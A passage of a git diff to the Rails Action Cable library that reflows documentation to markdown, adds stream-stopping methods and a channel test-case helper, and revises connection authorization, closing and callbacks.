+        #     ChatChannel.channel_name # => 'chat'
+        #     Chats::AppearancesChannel.channel_name # => 'chats:appearances'
+        #     FooChats::BarAppearancesChannel.channel_name # => 'foo_chats:bar_appearances'
         def channel_name
-          @channel_name ||= name.sub(/Channel$/, "").gsub("::", ":").underscore
+          @channel_name ||= name.delete_suffix("Channel").gsub("::", ":").underscore
         end
       end
 
-      # Delegates to the class' <tt>channel_name</tt>
-      delegate :channel_name, to: :class
+      def channel_name
+        self.class.channel_name
+      end
     end
   end
 end
diff --git a/actioncable/lib/action_cable/channel/periodic_timers.rb b/actioncable/lib/action_cable/channel/periodic_timers.rb
index c9daa0bcd327a..2c5a574626547 100644
--- a/actioncable/lib/action_cable/channel/periodic_timers.rb
+++ b/actioncable/lib/action_cable/channel/periodic_timers.rb
@@ -1,25 +1,26 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionCable
   module Channel
     module PeriodicTimers
       extend ActiveSupport::Concern
 
       included do
-        class_attribute :periodic_timers, instance_reader: false
-        self.periodic_timers = []
+        class_attribute :periodic_timers, instance_reader: false, default: []
 
         after_subscribe   :start_periodic_timers
         after_unsubscribe :stop_periodic_timers
       end
 
       module ClassMethods
-        # Periodically performs a task on the channel, like updating an online
-        # user counter, polling a backend for new status messages, sending
-        # regular "heartbeat" messages, or doing some internal work and giving
-        # progress updates.
+        # Periodically performs a task on the channel, like updating an online user
+        # counter, polling a backend for new status messages, sending regular
+        # "heartbeat" messages, or doing some internal work and giving progress updates.
         #
-        # Pass a method name or lambda argument or provide a block to call.
-        # Specify the calling period in seconds using the <tt>every:</tt>
-        # keyword argument.
+        # Pass a method name or lambda argument or provide a block to call. Specify the
+        # calling period in seconds using the `every:` keyword argument.
         #
         #     periodically :transmit_progress, every: 5.seconds
         #
diff --git a/actioncable/lib/action_cable/channel/streams.rb b/actioncable/lib/action_cable/channel/streams.rb
index dbba333353520..6f517b6d0adb8 100644
--- a/actioncable/lib/action_cable/channel/streams.rb
+++ b/actioncable/lib/action_cable/channel/streams.rb
@@ -1,63 +1,77 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionCable
   module Channel
-    # Streams allow channels to route broadcastings to the subscriber. A broadcasting is, as discussed elsewhere, a pubsub queue where any data
-    # placed into it is automatically sent to the clients that are connected at that time. It's purely an online queue, though. If you're not
-    # streaming a broadcasting at the very moment it sends out an update, you will not get that update, even if you connect after it has been sent.
-    #
-    # Most commonly, the streamed broadcast is sent straight to the subscriber on the client-side. The channel just acts as a connector between
-    # the two parties (the broadcaster and the channel subscriber). Here's an example of a channel that allows subscribers to get all new
-    # comments on a given page:
-    #
-    #   class CommentsChannel < ApplicationCable::Channel
-    #     def follow(data)
-    #       stream_from "comments_for_#{data['recording_id']}"
-    #     end
+    # # Action Cable Channel Streams
+    #
+    # Streams allow channels to route broadcastings to the subscriber. A
+    # broadcasting is, as discussed elsewhere, a pubsub queue where any data placed
+    # into it is automatically sent to the clients that are connected at that time.
+    # It's purely an online queue, though. If you're not streaming a broadcasting at
+    # the very moment it sends out an update, you will not get that update, even if
+    # you connect after it has been sent.
+    #
+    # Most commonly, the streamed broadcast is sent straight to the subscriber on
+    # the client-side. The channel just acts as a connector between the two parties
+    # (the broadcaster and the channel subscriber). Here's an example of a channel
+    # that allows subscribers to get all new comments on a given page:
+    #
+    #     class CommentsChannel < ApplicationCable::Channel
+    #       def follow(data)
+    #         stream_from "comments_for_#{data['recording_id']}"
+    #       end
     #
-    #     def unfollow
-    #       stop_all_streams
+    #       def unfollow
+    #         stop_all_streams
+    #       end
     #     end
-    #   end
     #
-    # Based on the above example, the subscribers of this channel will get whatever data is put into the,
-    # let's say, <tt>comments_for_45</tt> broadcasting as soon as it's put there.
+    # Based on the above example, the subscribers of this channel will get whatever
+    # data is put into the, let's say, `comments_for_45` broadcasting as soon as
+    # it's put there.
     #
     # An example broadcasting for this channel looks like so:
     #
-    #   ActionCable.server.broadcast "comments_for_45", author: 'DHH', content: 'Rails is just swell'
+    #     ActionCable.server.broadcast "comments_for_45", { author: 'DHH', content: 'Rails is just swell' }
     #
-    # If you have a stream that is related to a model, then the broadcasting used can be generated from the model and channel.
-    # The following example would subscribe to a broadcasting like <tt>comments:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE</tt>.
+    # If you have a stream that is related to a model, then the broadcasting used
+    # can be generated from the model and channel. The following example would
+    # subscribe to a broadcasting like `comments:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE`.
     #
-    #   class CommentsChannel < ApplicationCable::Channel
-    #     def subscribed
-    #       post = Post.find(params[:id])
-    #       stream_for post
+    #     class CommentsChannel < ApplicationCable::Channel
+    #       def subscribed
+    #         post = Post.find(params[:id])
+    #         stream_for post
+    #       end
     #     end
-    #   end
     #
     # You can then broadcast to this channel using:
     #
-    #   CommentsChannel.broadcast_to(@post, @comment)
+    #     CommentsChannel.broadcast_to(@post, @comment)
     #
-    # If you don't just want to parlay the broadcast unfiltered to the subscriber, you can also supply a callback that lets you alter what is sent out.
-    # The below example shows how you can use this to provide performance introspection in the process:
+    # If you don't just want to parlay the broadcast unfiltered to the subscriber,
+    # you can also supply a callback that lets you alter what is sent out. The below
+    # example shows how you can use this to provide performance introspection in the
+    # process:
     #
-    #   class ChatChannel < ApplicationCable::Channel
-    #     def subscribed
-    #       @room = Chat::Room[params[:room_number]]
+    #     class ChatChannel < ApplicationCable::Channel
+    #       def subscribed
+    #         @room = Chat::Room[params[:room_number]]
     #
-    #       stream_for @room, coder: ActiveSupport::JSON do |message|
-    #         if message['originated_at'].present?
-    #           elapsed_time = (Time.now.to_f - message['originated_at']).round(2)
+    #         stream_for @room, coder: ActiveSupport::JSON do |message|
+    #           if message['originated_at'].present?
+    #             elapsed_time = (Time.now.to_f - message['originated_at']).round(2)
     #
-    #           ActiveSupport::Notifications.instrument :performance, measurement: 'Chat.message_delay', value: elapsed_time, action: :timing
-    #           logger.info "Message took #{elapsed_time}s to arrive"
-    #         end
+    #             ActiveSupport::Notifications.instrument :performance, measurement: 'Chat.message_delay', value: elapsed_time, action: :timing
+    #             logger.info "Message took #{elapsed_time}s to arrive"
+    #           end
     #
-    #         transmit message
+    #           transmit message
+    #         end
     #       end
     #     end
-    #   end
     #
     # You can stop streaming from all broadcasts by calling #stop_all_streams.
     module Streams
@@ -67,20 +81,24 @@ module Streams
         on_unsubscribe :stop_all_streams
       end
 
-      # Start streaming from the named <tt>broadcasting</tt> pubsub queue. Optionally, you can pass a <tt>callback</tt> that'll be used
-      # instead of the default of just transmitting the updates straight to the subscriber.
-      # Pass <tt>coder: ActiveSupport::JSON</tt> to decode messages as JSON before passing to the callback.
-      # Defaults to <tt>coder: nil</tt> which does no decoding, passes raw messages.
+      # Start streaming from the named `broadcasting` pubsub queue. Optionally, you
+      # can pass a `callback` that'll be used instead of the default of just
+      # transmitting the updates straight to the subscriber. Pass `coder:
+      # ActiveSupport::JSON` to decode messages as JSON before passing to the
+      # callback. Defaults to `coder: nil` which does no decoding, passes raw
+      # messages.
       def stream_from(broadcasting, callback = nil, coder: nil, &block)
+        return if unsubscribed?
+
         broadcasting = String(broadcasting)
 
         # Don't send the confirmation until pubsub#subscribe is successful
         defer_subscription_confirmation!
 
-        # Build a stream handler by wrapping the user-provided callback with
-        # a decoder or defaulting to a JSON-decoding retransmitter.
+        # Build a stream handler by wrapping the user-provided callback with a decoder
+        # or defaulting to a JSON-decoding retransmitter.
         handler = worker_pool_stream_handler(broadcasting, callback || block, coder: coder)
-        streams << [ broadcasting, handler ]
+        streams[broadcasting] = handler
 
         connection.server.event_loop.post do
           pubsub.subscribe(broadcasting, handler, lambda do
@@ -90,14 +108,29 @@ def stream_from(broadcasting, callback = nil, coder: nil, &block)
         end
       end
 
-      # Start streaming the pubsub queue for the <tt>model</tt> in this channel. Optionally, you can pass a
-      # <tt>callback</tt> that'll be used instead of the default of just transmitting the updates straight
-      # to the subscriber.
+      # Start streaming the pubsub queue for the `broadcastables` in this channel. Optionally,
+      # you can pass a `callback` that'll be used instead of the default of just
+      # transmitting the updates straight to the subscriber.
       #
-      # Pass <tt>coder: ActiveSupport::JSON</tt> to decode messages as JSON before passing to the callback.
-      # Defaults to <tt>coder: nil</tt> which does no decoding, passes raw messages.
-      def stream_for(model, callback = nil, coder: nil, &block)
-        stream_from(broadcasting_for([ channel_name, model ]), callback || block, coder: coder)
+      # Pass `coder: ActiveSupport::JSON` to decode messages as JSON before passing to
+      # the callback. Defaults to `coder: nil` which does no decoding, passes raw
+      # messages.
+      def stream_for(broadcastables, callback = nil, coder: nil, &block)
+        stream_from(broadcasting_for(broadcastables), callback || block, coder: coder)
+      end
+
+      # Unsubscribes streams from the named `broadcasting`.
+      def stop_stream_from(broadcasting)
+        callback = streams.delete(broadcasting)
+        if callback
+          pubsub.unsubscribe(broadcasting, callback)
+          logger.info "#{self.class.name} stopped streaming from #{broadcasting}"
+        end
+      end
+
+      # Unsubscribes streams for the `model`.
+      def stop_stream_for(model)
+        stop_stream_from(broadcasting_for(model))
       end
 
       # Unsubscribes all streams associated with this channel from the pubsub queue.
@@ -108,15 +141,25 @@ def stop_all_streams
         end.clear
       end
 
+      # Calls stream_for with the given `model` if it's present to start streaming,
+      # otherwise rejects the subscription.
+      def stream_or_reject_for(model)
+        if model
+          stream_for model
+        else
+          reject
+        end
+      end
+
       private
         delegate :pubsub, to: :connection
 
         def streams
-          @_streams ||= []
+          @_streams ||= {}
         end
 
-        # Always wrap the outermost handler to invoke the user handler on the
-        # worker pool rather than blocking the event loop.
+        # Always wrap the outermost handler to invoke the user handler on the worker
+        # pool rather than blocking the event loop.
         def worker_pool_stream_handler(broadcasting, user_handler, coder: nil)
           handler = stream_handler(broadcasting, user_handler, coder: coder)
 
@@ -125,8 +168,8 @@ def worker_pool_stream_handler(broadcasting, user_handler, coder: nil)
           end
         end
 
-        # May be overridden to add instrumentation, logging, specialized error
-        # handling, or other forms of handler decoration.
+        # May be overridden to add instrumentation, logging, specialized error handling,
+        # or other forms of handler decoration.
         #
         # TODO: Tests demonstrating this.
         def stream_handler(broadcasting, user_handler, coder: nil)
@@ -137,14 +180,14 @@ def stream_handler(broadcasting, user_handler, coder: nil)
           end
         end
 
-        # May be overridden to change the default stream handling behavior
-        # which decodes JSON and transmits to the client.
+        # May be overridden to change the default stream handling behavior which decodes
+        # JSON and transmits to the client.
         #
         # TODO: Tests demonstrating this.
         #
-        # TODO: Room for optimization. Update transmit API to be coder-aware
-        # so we can no-op when pubsub and connection are both JSON-encoded.
-        # Then we can skip decode+encode if we're just proxying messages.
+        # TODO: Room for optimization. Update transmit API to be coder-aware so we can
+        # no-op when pubsub and connection are both JSON-encoded. Then we can skip
+        # decode+encode if we're just proxying messages.
         def default_stream_handler(broadcasting, coder:)
           coder ||= ActiveSupport::JSON
           stream_transmitter stream_decoder(coder: coder), broadcasting: broadcasting
diff --git a/actioncable/lib/action_cable/channel/test_case.rb b/actioncable/lib/action_cable/channel/test_case.rb
new file mode 100644
index 0000000000000..d3b38ca5151bb
--- /dev/null
+++ b/actioncable/lib/action_cable/channel/test_case.rb
@@ -0,0 +1,356 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support"
+require "active_support/test_case"
+require "active_support/core_ext/hash/indifferent_access"
+require "json"
+
+module ActionCable
+  module Channel
+    class NonInferrableChannelError < ::StandardError
+      def initialize(name)
+        super "Unable to determine the channel to test from #{name}. " +
+          "You'll need to specify it using `tests YourChannel` in your " +
+          "test case definition."
+      end
+    end
+
+    # # Action Cable Channel Stub
+    #
+    # Stub `stream_from` to track streams for the channel. Add public aliases for
+    # `subscription_confirmation_sent?` and `subscription_rejected?`.
+    module ChannelStub
+      def confirmed?
+        subscription_confirmation_sent?
+      end
+
+      def rejected?
+        subscription_rejected?
+      end
+
+      def stream_from(broadcasting, *)
+        streams << broadcasting
+      end
+
+      def stop_all_streams
+        @_streams = []
+      end
+
+      def streams
+        @_streams ||= []
+      end
+
+      # Make periodic timers no-op
+      def start_periodic_timers; end
+      alias stop_periodic_timers start_periodic_timers
+    end
+
+    class ConnectionStub
+      attr_reader :server, :transmissions, :identifiers, :subscriptions, :logger
+
+      delegate :pubsub, :config, to: :server
+
+      def initialize(identifiers = {})
+        @server = ActionCable.server
+        @transmissions = []
+
+        identifiers.each do |identifier, val|
+          define_singleton_method(identifier) { val }
+        end
+
+        @subscriptions = ActionCable::Connection::Subscriptions.new(self)
+        @identifiers = identifiers.keys
+        @logger = ActiveSupport::TaggedLogging.new ActiveSupport::Logger.new(StringIO.new)
+      end
+
+      def transmit(cable_message)
+        transmissions << cable_message.with_indifferent_access
+      end
+
+      def connection_identifier
+        @connection_identifier ||= connection_gid(identifiers.filter_map { |id| send(id.to_sym) if id })
+      end
+
+      private
+        def connection_gid(ids)
+          ids.map do |o|
+            if o.respond_to?(:to_gid_param)
+              o.to_gid_param
+            else
+              o.to_s
+            end
+          end.sort.join(":")
+        end
+    end
+
+    # Superclass for Action Cable channel functional tests.
+    #
+    # ## Basic example
+    #
+    # Functional tests are written as follows:
+    # 1.  First, one uses the `subscribe` method to simulate subscription creation.
+    # 2.  Then, one asserts whether the current state is as expected. "State" can be
+    #     anything: transmitted messages, subscribed streams, etc.
+    #
+    #
+    # For example:
+    #
+    #     class ChatChannelTest < ActionCable::Channel::TestCase
+    #       def test_subscribed_with_room_number
+    #         # Simulate a subscription creation
+    #         subscribe room_number: 1
+    #
+    #         # Asserts that the subscription was successfully created
+    #         assert subscription.confirmed?
+    #
+    #         # Asserts that the channel subscribes connection to a stream
+    #         assert_has_stream "chat_1"
+    #
+    #         # Asserts that the channel subscribes connection to a specific
+    #         # stream created for a model
+    #         assert_has_stream_for Room.find(1)
+    #       end
+    #
+    #       def test_does_not_stream_with_incorrect_room_number
+    #         subscribe room_number: -1
+    #
+    #         # Asserts that not streams was started
+    #         assert_no_streams
+    #       end
+    #
+    #       def test_does_not_subscribe_without_room_number
+    #         subscribe
+    #
+    #         # Asserts that the subscription was rejected
+    #         assert subscription.rejected?
+    #       end
+    #     end
+    #
+    # You can also perform actions:
+    #     def test_perform_speak
+    #       subscribe room_number: 1
+    #
+    #       perform :speak, message: "Hello, Rails!"
+    #
+    #       assert_equal "Hello, Rails!", transmissions.last["text"]
+    #     end
+    #
+    # ## Special methods
+    #
+    # ActionCable::Channel::TestCase will also automatically provide the following
+    # instance methods for use in the tests:
+    #
+    # connection
+    # :   An ActionCable::Channel::ConnectionStub, representing the current HTTP
+    #     connection.
+    #
+    # subscription
+    # :   An instance of the current channel, created when you call `subscribe`.
+    #
+    # transmissions
+    # :   A list of all messages that have been transmitted into the channel.
+    #
+    #
+    # ## Channel is automatically inferred
+    #
+    # ActionCable::Channel::TestCase will automatically infer the channel under test
+    # from the test class name. If the channel cannot be inferred from the test
+    # class name, you can explicitly set it with `tests`.
+    #
+    #     class SpecialEdgeCaseChannelTest < ActionCable::Channel::TestCase
+    #       tests SpecialChannel
+    #     end
+    #
+    # ## Specifying connection identifiers
+    #
+    # You need to set up your connection manually to provide values for the
+    # identifiers. To do this just use:
+    #
+    #     stub_connection(user: users(:john))
+    #
+    # ## Testing broadcasting
+    #
+    # ActionCable::Channel::TestCase enhances ActionCable::TestHelper assertions
+    # (e.g. `assert_broadcasts`) to handle broadcasting to models:
+    #
+    #     # in your channel
+    #     def speak(data)
+    #       broadcast_to room, text: data["message"]
+    #     end
+    #
+    #     def test_speak
+    #       subscribe room_id: rooms(:chat).id
+    #
+    #       assert_broadcast_on(rooms(:chat), text: "Hello, Rails!") do
+    #         perform :speak, message: "Hello, Rails!"
+    #       end
+    #     end
+    class TestCase < ActiveSupport::TestCase
+      module Behavior
+        extend ActiveSupport::Concern
+
+        include ActiveSupport::Testing::ConstantLookup
+        include ActionCable::TestHelper
+
+        CHANNEL_IDENTIFIER = "test_stub"
+
+        included do
+          class_attribute :_channel_class
+
+          attr_reader :connection, :subscription
+
+          ActiveSupport.run_load_hooks(:action_cable_channel_test_case, self)
+        end
+
+        module ClassMethods
+          def tests(channel)
+            case channel
+            when String, Symbol
+              self._channel_class = channel.to_s.camelize.constantize
+            when Module
+              self._channel_class = channel
+            else
+              raise NonInferrableChannelError.new(channel)
+            end
+          end
+
+          def channel_class
+            if channel = self._channel_class
+              channel
+            else
+              tests determine_default_channel(name)
+            end
+          end
+
+          def determine_default_channel(name)
+            channel = determine_constant_from_test_name(name) do |constant|
+              Class === constant && constant < ActionCable::Channel::Base
+            end
+            raise NonInferrableChannelError.new(name) if channel.nil?
+            channel
+          end
+        end
+
+        # Set up test connection with the specified identifiers:
+        #
+        #     class ApplicationCable < ActionCable::Connection::Base
+        #       identified_by :user, :token
+        #     end
+        #
+        #     stub_connection(user: users[:john], token: 'my-secret-token')
+        def stub_connection(identifiers = {})
+          @connection = ConnectionStub.new(identifiers)
+        end
+
+        # Subscribe to the channel under test. Optionally pass subscription parameters
+        # as a Hash.
+        def subscribe(params = {})
+          @connection ||= stub_connection
+          @subscription = self.class.channel_class.new(connection, CHANNEL_IDENTIFIER, params.with_indifferent_access)
+          @subscription.singleton_class.include(ChannelStub)
+          @subscription.subscribe_to_channel
+          @subscription
+        end
+
+        # Unsubscribe the subscription under test.
+        def unsubscribe
+          check_subscribed!
+          subscription.unsubscribe_from_channel
+        end
+
+        # Perform action on a channel.
+        #
+        # NOTE: Must be subscribed.
+        def perform(action, data = {})
+          check_subscribed!
+          subscription.perform_action(data.stringify_keys.merge("action" => action.to_s))
+        end
+
+        # Returns messages transmitted into channel
+        def transmissions
+          # Return only directly sent message (via #transmit)
+          connection.transmissions.filter_map { |data| data["message"] }
+        end
+
+        # Enhance TestHelper assertions to handle non-String broadcastings
+        def assert_broadcasts(stream_or_object, *args)
+          super(broadcasting_for(stream_or_object), *args)
+        end
+
+        def assert_broadcast_on(stream_or_object, *args)
+          super(broadcasting_for(stream_or_object), *args)
+        end
+
+        # Asserts that no streams have been started.
+        #
+        #     def test_assert_no_started_stream
+        #       subscribe
+        #       assert_no_streams
+        #     end
+        #
+        def assert_no_streams
+          assert subscription.streams.empty?, "No streams started was expected, but #{subscription.streams.count} found"
+        end
+
+        # Asserts that the specified stream has been started.
+        #
+        #     def test_assert_started_stream
+        #       subscribe
+        #       assert_has_stream 'messages'
+        #     end
+        #
+        def assert_has_stream(stream)
+          assert subscription.streams.include?(stream), "Stream #{stream} has not been started"
+        end
+
+        # Asserts that the specified stream for a model has started.
+        #
+        #     def test_assert_started_stream_for
+        #       subscribe id: 42
+        #       assert_has_stream_for User.find(42)
+        #     end
+        #
+        def assert_has_stream_for(object)
+          assert_has_stream(broadcasting_for(object))
+        end
+
+        # Asserts that the specified stream has not been started.
+        #
+        #     def test_assert_no_started_stream
+        #       subscribe
+        #       assert_has_no_stream 'messages'
+        #     end
+        #
+        def assert_has_no_stream(stream)
+          assert subscription.streams.exclude?(stream), "Stream #{stream} has been started"
+        end
+
+        # Asserts that the specified stream for a model has not started.
+        #
+        #     def test_assert_no_started_stream_for
+        #       subscribe id: 41
+        #       assert_has_no_stream_for User.find(42)
+        #     end
+        #
+        def assert_has_no_stream_for(object)
+          assert_has_no_stream(broadcasting_for(object))
+        end
+
+        private
+          def check_subscribed!
+            raise "Must be subscribed!" if subscription.nil? || subscription.rejected?
+          end
+
+          def broadcasting_for(stream_or_object)
+            return stream_or_object if stream_or_object.is_a?(String)
+
+            self.class.channel_class.broadcasting_for(stream_or_object)
+          end
+      end
+
+      include Behavior
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/connection.rb b/actioncable/lib/action_cable/connection.rb
deleted file mode 100644
index 902efb07e2baa..0000000000000
--- a/actioncable/lib/action_cable/connection.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-module ActionCable
-  module Connection
-    extend ActiveSupport::Autoload
-
-    eager_autoload do
-      autoload :Authorization
-      autoload :Base
-      autoload :ClientSocket
-      autoload :Identification
-      autoload :InternalChannel
-      autoload :MessageBuffer
-      autoload :Stream
-      autoload :StreamEventLoop
-      autoload :Subscriptions
-      autoload :TaggedLoggerProxy
-      autoload :WebSocket
-    end
-  end
-end
diff --git a/actioncable/lib/action_cable/connection/authorization.rb b/actioncable/lib/action_cable/connection/authorization.rb
index 85df206445c5b..de996e30517db 100644
--- a/actioncable/lib/action_cable/connection/authorization.rb
+++ b/actioncable/lib/action_cable/connection/authorization.rb
@@ -1,13 +1,18 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionCable
   module Connection
     module Authorization
       class UnauthorizedError < StandardError; end
 
-      private
-        def reject_unauthorized_connection
-          logger.error "An unauthorized connection attempt was rejected"
-          raise UnauthorizedError
-        end
+      # Closes the WebSocket connection if it is open and returns an "unauthorized"
+      # reason.
+      def reject_unauthorized_connection
+        logger.error "An unauthorized connection attempt was rejected"
+        raise UnauthorizedError
+      end
     end
   end
 end
diff --git a/actioncable/lib/action_cable/connection/base.rb b/actioncable/lib/action_cable/connection/base.rb
index 0a517a532d147..5ac3bc646b18f 100644
--- a/actioncable/lib/action_cable/connection/base.rb
+++ b/actioncable/lib/action_cable/connection/base.rb
@@ -1,52 +1,68 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_dispatch"
+require "active_support/rescuable"
 
 module ActionCable
   module Connection
-    # For every WebSocket connection the Action Cable server accepts, a Connection object will be instantiated. This instance becomes the parent
-    # of all of the channel subscriptions that are created from there on. Incoming messages are then routed to these channel subscriptions
-    # based on an identifier sent by the Action Cable consumer. The Connection itself does not deal with any specific application logic beyond
-    # authentication and authorization.
+    # # Action Cable Connection Base
     #
-    # Here's a basic example:
+    # For every WebSocket connection the Action Cable server accepts, a Connection
+    # object will be instantiated. This instance becomes the parent of all of the
+    # channel subscriptions that are created from there on. Incoming messages are
+    # then routed to these channel subscriptions based on an identifier sent by the
+    # Action Cable consumer. The Connection itself does not deal with any specific
+    # application logic beyond authentication and authorization.
     #
-    #   module ApplicationCable
-    #     class Connection < ActionCable::Connection::Base
-    #       identified_by :current_user
+    # Here's a basic example:
     #
-    #       def connect
-    #         self.current_user = find_verified_user
-    #         logger.add_tags current_user.name
-    #       end
+    #     module ApplicationCable
+    #       class Connection < ActionCable::Connection::Base
+    #         identified_by :current_user
     #
-    #       def disconnect
-    #         # Any cleanup work needed when the cable connection is cut.
-    #       end
+    #         def connect
+    #           self.current_user = find_verified_user
+    #           logger.add_tags current_user.name
+    #         end
     #
-    #       private
-    #         def find_verified_user
-    #           User.find_by_identity(cookies.signed[:identity_id]) ||
-    #             reject_unauthorized_connection
+    #         def disconnect
+    #           # Any cleanup work needed when the cable connection is cut.
     #         end
+    #
+    #         private
+    #           def find_verified_user
+    #             User.find_by_identity(cookies.encrypted[:identity_id]) ||
+    #               reject_unauthorized_connection
+    #           end
+    #       end
     #     end
-    #   end
     #
-    # First, we declare that this connection can be identified by its current_user. This allows us to later be able to find all connections
-    # established for that current_user (and potentially disconnect them). You can declare as many
-    # identification indexes as you like. Declaring an identification means that an attr_accessor is automatically set for that key.
+    # First, we declare that this connection can be identified by its current_user.
+    # This allows us to later be able to find all connections established for that
+    # current_user (and potentially disconnect them). You can declare as many
+    # identification indexes as you like. Declaring an identification means that an
+    # attr_accessor is automatically set for that key.
     #
-    # Second, we rely on the fact that the WebSocket connection is established with the cookies from the domain being sent along. This makes
-    # it easy to use signed cookies that were set when logging in via a web interface to authorize the WebSocket connection.
+    # Second, we rely on the fact that the WebSocket connection is established with
+    # the cookies from the domain being sent along. This makes it easy to use signed
+    # cookies that were set when logging in via a web interface to authorize the
+    # WebSocket connection.
     #
-    # Finally, we add a tag to the connection-specific logger with the name of the current user to easily distinguish their messages in the log.
+    # Finally, we add a tag to the connection-specific logger with the name of the
+    # current user to easily distinguish their messages in the log.
     #
     # Pretty simple, eh?
     class Base
       include Identification
       include InternalChannel
       include Authorization
+      include Callbacks
+      include ActiveSupport::Rescuable
 
       attr_reader :server, :env, :subscriptions, :logger, :worker_pool, :protocol
-      delegate :event_loop, :pubsub, to: :server
+      delegate :event_loop, :pubsub, :config, to: :server
 
       def initialize(server, env, coder: ActiveSupport::JSON)
         @server, @env, @coder = server, env, coder
@@ -62,9 +78,11 @@ def initialize(server, env, coder: ActiveSupport::JSON)
         @started_at = Time.now
       end
 
-      # Called by the server when a new WebSocket connection is established. This configures the callbacks intended for overwriting by the user.
-      # This method should not be called directly -- instead rely upon on the #connect (and #disconnect) callbacks.
-      def process #:nodoc:
+      # Called by the server when a new WebSocket connection is established. This
+      # configures the callbacks intended for overwriting by the user. This method
+      # should not be called directly -- instead rely upon on the #connect (and
+      # #disconnect) callbacks.
+      def process # :nodoc:
         logger.info started_request_message
 
         if websocket.possible? && allow_request_origin?
@@ -76,34 +94,47 @@ def process #:nodoc:
 
       # Decodes WebSocket messages and dispatches them to subscribed channels.
       # WebSocket message transfer encoding is always JSON.
-      def receive(websocket_message) #:nodoc:
+      def receive(websocket_message) # :nodoc:
         send_async :dispatch_websocket_message, websocket_message
       end
 
-      def dispatch_websocket_message(websocket_message) #:nodoc:
+      def dispatch_websocket_message(websocket_message) # :nodoc:
         if websocket.alive?
-          subscriptions.execute_command decode(websocket_message)
+          handle_channel_command decode(websocket_message)
         else
           logger.error "Ignoring message processed after the WebSocket was closed: #{websocket_message.inspect})"
         end
       end
 
+      def handle_channel_command(payload)
+        run_callbacks :command do
+          subscriptions.execute_command payload
+        end
+      end
+
       def transmit(cable_message) # :nodoc:
         websocket.transmit encode(cable_message)
       end
 
       # Close the WebSocket connection.
-      def close
+      def close(reason: nil, reconnect: true)
+        transmit(
+          type: ActionCable::INTERNAL[:message_types][:disconnect],
+          reason: reason,
+          reconnect: reconnect
+        )
         websocket.close
       end
 
-      # Invoke a method on the connection asynchronously through the pool of thread workers.
+      # Invoke a method on the connection asynchronously through the pool of thread
+      # workers.
       def send_async(method, *arguments)
         worker_pool.async_invoke(self, method, *arguments)
       end
 
-      # Return a basic hash of statistics for the connection keyed with <tt>identifier</tt>, <tt>started_at</tt>, <tt>subscriptions</tt>, and <tt>request_id</tt>.
-      # This can be returned by a health check against the connection.
+      # Return a basic hash of statistics for the connection keyed with `identifier`,
+      # `started_at`, `subscriptions`, and `request_id`. This can be returned by a
+      # health check against the connection.
       def statistics
         {
           identifier: connection_identifier,
@@ -126,21 +157,24 @@ def on_message(message) # :nodoc:
       end
 
       def on_error(message) # :nodoc:
-        # ignore
+        # log errors to make diagnosing socket errors easier
+        logger.error "WebSocket error occurred: #{message}"
       end
 
       def on_close(reason, code) # :nodoc:
         send_async :handle_close
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
+      def inspect # :nodoc:
+        "#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
+      end
+
+      private
         attr_reader :websocket
         attr_reader :message_buffer
 
-      private
-        # The request that initiated the WebSocket connection is available here. This gives access to the environment, cookies, etc.
+        # The request that initiated the WebSocket connection is available here. This
+        # gives access to the environment, cookies, etc.
         def request # :doc:
           @request ||= begin
             environment = Rails.application.env_config.merge(env) if defined?(Rails.application) && Rails.application
@@ -148,7 +182,8 @@ def request # :doc:
           end
         end
 
-        # The cookies of the request that initiated the WebSocket connection. Useful for performing authorization checks.
+        # The cookies of the request that initiated the WebSocket connection. Useful for
+        # performing authorization checks.
         def cookies # :doc:
           request.cookie_jar
         end
@@ -170,7 +205,7 @@ def handle_open
           message_buffer.process!
           server.add_connection(self)
         rescue ActionCable::Connection::Authorization::UnauthorizedError
-          respond_to_invalid_request
+          close(reason: ActionCable::INTERNAL[:disconnect_reasons][:unauthorized], reconnect: false) if websocket.alive?
         end
 
         def handle_close
@@ -185,9 +220,8 @@ def handle_close
         end
 
         def send_welcome_message
-          # Send welcome message to the internal connection monitor channel.
-          # This ensures the connection monitor state is reset after a successful
-          # websocket connection.
+          # Send welcome message to the internal connection monitor channel. This ensures
+          # the connection monitor state is reset after a successful websocket connection.
           transmit type: ActionCable::INTERNAL[:message_types][:welcome]
         end
 
@@ -211,14 +245,15 @@ def respond_to_successful_request
         end
 
         def respond_to_invalid_request
-          close if websocket.alive?
+          close(reason: ActionCable::INTERNAL[:disconnect_reasons][:invalid_request]) if websocket.alive?
 
           logger.error invalid_request_message
           logger.info finished_request_message
-          [ 404, { "Content-Type" => "text/plain" }, [ "Page not found" ] ]
+          [ 404, { Rack::CONTENT_TYPE => "text/plain; charset=utf-8" }, [ "Page not found" ] ]
         end
 
-        # Tags are declared in the server but computed in the connection. This allows us per-connection tailored tags.
+        # Tags are declared in the server but computed in the connection. This allows us
+        # per-connection tailored tags.
         def new_tagged_logger
           TaggedLoggerProxy.new server.logger,
             tags: server.config.log_tags.map { |tag| tag.respond_to?(:call) ? tag.call(request) : tag.to_s.camelize }
@@ -255,3 +290,5 @@ def successful_request_message
     end
   end
 end
+
+ActiveSupport.run_load_hooks(:action_cable_connection, ActionCable::Connection::Base)
diff --git a/actioncable/lib/action_cable/connection/callbacks.rb b/actioncable/lib/action_cable/connection/callbacks.rb
new file mode 100644
index 0000000000000..85a27c6f9f5f6
--- /dev/null
+++ b/actioncable/lib/action_cable/connection/callbacks.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/callbacks"
+
+module ActionCable
+  module Connection
+    # # Action Cable Connection Callbacks
+    #
+    # The [before_command](rdoc-ref:ClassMethods#before_command),
+    # [after_command](rdoc-ref:ClassMethods#after_command), and
+    # [around_command](rdoc-ref:ClassMethods#around_command) callbacks are invoked
+    # when sending commands to the client, such as when subscribing, unsubscribing,
+    # or performing an action.
+    #
+    # #### Example
+    #
+    #     module ApplicationCable
+    #       class Connection < ActionCable::Connection::Base
